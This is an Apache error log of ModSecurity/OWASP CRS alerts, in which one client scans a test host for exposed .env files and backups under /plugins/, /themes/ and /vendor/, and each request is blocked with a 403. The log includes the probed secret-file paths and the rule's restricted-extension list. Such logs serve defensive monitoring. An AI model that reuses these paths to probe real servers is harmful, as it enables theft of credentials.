[Thu Oct 30 20:07:06.753148 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.bak&quot;] [unique_id &quot;aQO3WpdseHRrfd8_FeKIlgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:07.263362 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.old&quot;] [unique_id &quot;aQO3W5dseHRrfd8_FeKIlwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:07.263563 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /plugins/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.old&quot;] [unique_id &quot;aQO3W5dseHRrfd8_FeKIlwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:07.263833 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.old&quot;] [unique_id &quot;aQO3W5dseHRrfd8_FeKIlwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:07.264046 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.old&quot;] [unique_id &quot;aQO3W5dseHRrfd8_FeKIlwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:07.777628 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /themes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env&quot;] [unique_id &quot;aQO3W5dseHRrfd8_FeKImAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:07.777899 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env&quot;] [unique_id &quot;aQO3W5dseHRrfd8_FeKImAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:07.778113 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env&quot;] [unique_id &quot;aQO3W5dseHRrfd8_FeKImAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:08.308586 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /themes/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.save&quot;] [unique_id &quot;aQO3XJdseHRrfd8_FeKImQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:08.308855 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.save&quot;] [unique_id &quot;aQO3XJdseHRrfd8_FeKImQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:08.309077 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.save&quot;] [unique_id &quot;aQO3XJdseHRrfd8_FeKImQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:08.816006 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.bak&quot;] [unique_id &quot;aQO3XJdseHRrfd8_FeKImgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:08.816195 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /themes/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.bak&quot;] [unique_id &quot;aQO3XJdseHRrfd8_FeKImgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:08.816436 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.bak&quot;] [unique_id &quot;aQO3XJdseHRrfd8_FeKImgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:08.816680 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.bak&quot;] [unique_id &quot;aQO3XJdseHRrfd8_FeKImgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:09.321263 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.old&quot;] [unique_id &quot;aQO3XZdseHRrfd8_FeKImwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:09.321465 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /themes/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.old&quot;] [unique_id &quot;aQO3XZdseHRrfd8_FeKImwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:09.321713 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.old&quot;] [unique_id &quot;aQO3XZdseHRrfd8_FeKImwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:09.321923 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.old&quot;] [unique_id &quot;aQO3XZdseHRrfd8_FeKImwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:09.827818 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aQO3XZdseHRrfd8_FeKInAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:09.828107 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aQO3XZdseHRrfd8_FeKInAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:09.828338 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aQO3XZdseHRrfd8_FeKInAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:10.335612 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.save&quot;] [unique_id &quot;aQO3XpdseHRrfd8_FeKInQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:10.335875 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.save&quot;] [unique_id &quot;aQO3XpdseHRrfd8_FeKInQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:10.336082 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.save&quot;] [unique_id &quot;aQO3XpdseHRrfd8_FeKInQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:10.852488 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.bak&quot;] [unique_id &quot;aQO3XpdseHRrfd8_FeKIngAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:10.852724 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.bak&quot;] [unique_id &quot;aQO3XpdseHRrfd8_FeKIngAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:10.852982 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.bak&quot;] [unique_id &quot;aQO3XpdseHRrfd8_FeKIngAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:10.853209 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.bak&quot;] [unique_id &quot;aQO3XpdseHRrfd8_FeKIngAAAAY&quot;], referer: https://www.google.com/
